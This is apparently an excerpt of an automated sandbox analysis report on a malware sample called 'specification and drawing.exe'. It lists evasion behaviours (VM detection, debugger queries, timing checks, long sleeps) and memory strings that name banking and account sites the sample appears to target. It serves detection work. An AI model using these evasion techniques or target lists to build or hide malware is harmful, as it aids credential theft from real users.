Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: specification and drawing.exe PID: 6316, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\wscript.exe	API/Special instruction interceptor: Address: 7FFDB442DA44

Source: C:\Users\user\Desktop\specification and drawing.exe	Memory allocated: 1380000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Memory allocated: 2BB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Memory allocated: 9040000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Memory allocated: A040000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Memory allocated: A250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Memory allocated: B250000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\specification and drawing.exe

Code function: 4_2_0110096E rdtsc

4_2_0110096E

Source: C:\Users\user\Desktop\specification and drawing.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4589	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 670	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window / User API: threadDelayed 1820	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window / User API: threadDelayed 8153	Jump to behavior

Source: C:\Users\user\Desktop\specification and drawing.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\wscript.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\specification and drawing.exe TID: 5260	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6320	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5128	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 2032	Thread sleep count: 1820 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 2032	Thread sleep time: -3640000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 2032	Thread sleep count: 8153 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 2032	Thread sleep time: -16306000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe TID: 2820	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe TID: 2820	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe TID: 2820	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe TID: 2820	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe TID: 2820	Thread sleep time: -32000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wscript.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 8_2_0076C7A0 FindFirstFileW,FindNextFileW,FindClose,

8_2_0076C7A0

Source: C:\Users\user\Desktop\specification and drawing.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rdVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,1169648
Source: 2361o4QI.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: specification and drawing.exe, 00000000.00000002.2165460201.0000000001153000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 2361o4QI.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 2361o4QI.8.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sswords blocklistVMware2A
Source: firefox.exe, 0000000C.00000002.2711081924.000002223ED5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllAA
Source: 2361o4QI.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 2361o4QI.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rs.comVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|
Source: LfvKCNKdvt.exe, 0000000A.00000002.4588851787.00000000009EF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
Source: 2361o4QI.8.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,1
Source: 2361o4QI.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 2361o4QI.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 2361o4QI.8.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 2361o4QI.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,116:
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: COM.HKVMware20,11696487552
Source: wscript.exe, 00000008.00000002.4585557607.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 2361o4QI.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: e365.comVMware20,1169648
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,1169648
Source: 2361o4QI.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: specification and drawing.exe, 00000000.00000002.2165460201.0000000001153000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.aVMware20,1169648
Source: 2361o4QI.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 2361o4QI.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rs - HKVMware20,11696487552]
Source: 2361o4QI.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 2361o4QI.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 2361o4QI.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 2361o4QI.8.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 2361o4QI.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 2361o4QI.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: wscript.exe, 00000008.00000002.4593381397.0000000007D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .comVMware20,11696487552
Source: 2361o4QI.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 2361o4QI.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\specification and drawing.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\specification and drawing.exe

Code function: 4_2_0110096E rdtsc

4_2_0110096E

Source: C:\Users\user\Desktop\specification and drawing.exe

Code function: 4_2_00417BA3 LdrLoadDll,

4_2_00417BA3

Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01180115 mov eax, dword ptr fs:[00000030h]	4_2_01180115
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116A118 mov ecx, dword ptr fs:[00000030h]	4_2_0116A118
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116A118 mov eax, dword ptr fs:[00000030h]	4_2_0116A118
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116A118 mov eax, dword ptr fs:[00000030h]	4_2_0116A118
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0116A118 mov eax, dword ptr fs:[00000030h]	4_2_0116A118
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F0124 mov eax, dword ptr fs:[00000030h]	4_2_010F0124
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01158158 mov eax, dword ptr fs:[00000030h]	4_2_01158158
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01154144 mov eax, dword ptr fs:[00000030h]	4_2_01154144
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01154144 mov eax, dword ptr fs:[00000030h]	4_2_01154144
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01154144 mov ecx, dword ptr fs:[00000030h]	4_2_01154144
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01154144 mov eax, dword ptr fs:[00000030h]	4_2_01154144
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01154144 mov eax, dword ptr fs:[00000030h]	4_2_01154144
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6154 mov eax, dword ptr fs:[00000030h]	4_2_010C6154
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C6154 mov eax, dword ptr fs:[00000030h]	4_2_010C6154
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BC156 mov eax, dword ptr fs:[00000030h]	4_2_010BC156
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114019F mov eax, dword ptr fs:[00000030h]	4_2_0114019F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114019F mov eax, dword ptr fs:[00000030h]	4_2_0114019F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114019F mov eax, dword ptr fs:[00000030h]	4_2_0114019F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0114019F mov eax, dword ptr fs:[00000030h]	4_2_0114019F
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01100185 mov eax, dword ptr fs:[00000030h]	4_2_01100185
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01164180 mov eax, dword ptr fs:[00000030h]	4_2_01164180
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01164180 mov eax, dword ptr fs:[00000030h]	4_2_01164180
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BA197 mov eax, dword ptr fs:[00000030h]	4_2_010BA197
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BA197 mov eax, dword ptr fs:[00000030h]	4_2_010BA197
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010BA197 mov eax, dword ptr fs:[00000030h]	4_2_010BA197
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0117C188 mov eax, dword ptr fs:[00000030h]	4_2_0117C188
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0117C188 mov eax, dword ptr fs:[00000030h]	4_2_0117C188
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0113E1D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0113E1D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E1D0 mov ecx, dword ptr fs:[00000030h]	4_2_0113E1D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0113E1D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_0113E1D0 mov eax, dword ptr fs:[00000030h]	4_2_0113E1D0
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011861C3 mov eax, dword ptr fs:[00000030h]	4_2_011861C3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011861C3 mov eax, dword ptr fs:[00000030h]	4_2_011861C3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010F01F8 mov eax, dword ptr fs:[00000030h]	4_2_010F01F8
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_011961E5 mov eax, dword ptr fs:[00000030h]	4_2_011961E5
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01144000 mov ecx, dword ptr fs:[00000030h]	4_2_01144000
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01162000 mov eax, dword ptr fs:[00000030h]	4_2_01162000
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01162000 mov eax, dword ptr fs:[00000030h]	4_2_01162000
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_01162000 mov eax, dword ptr fs:[00000030h]	4_2_01162000
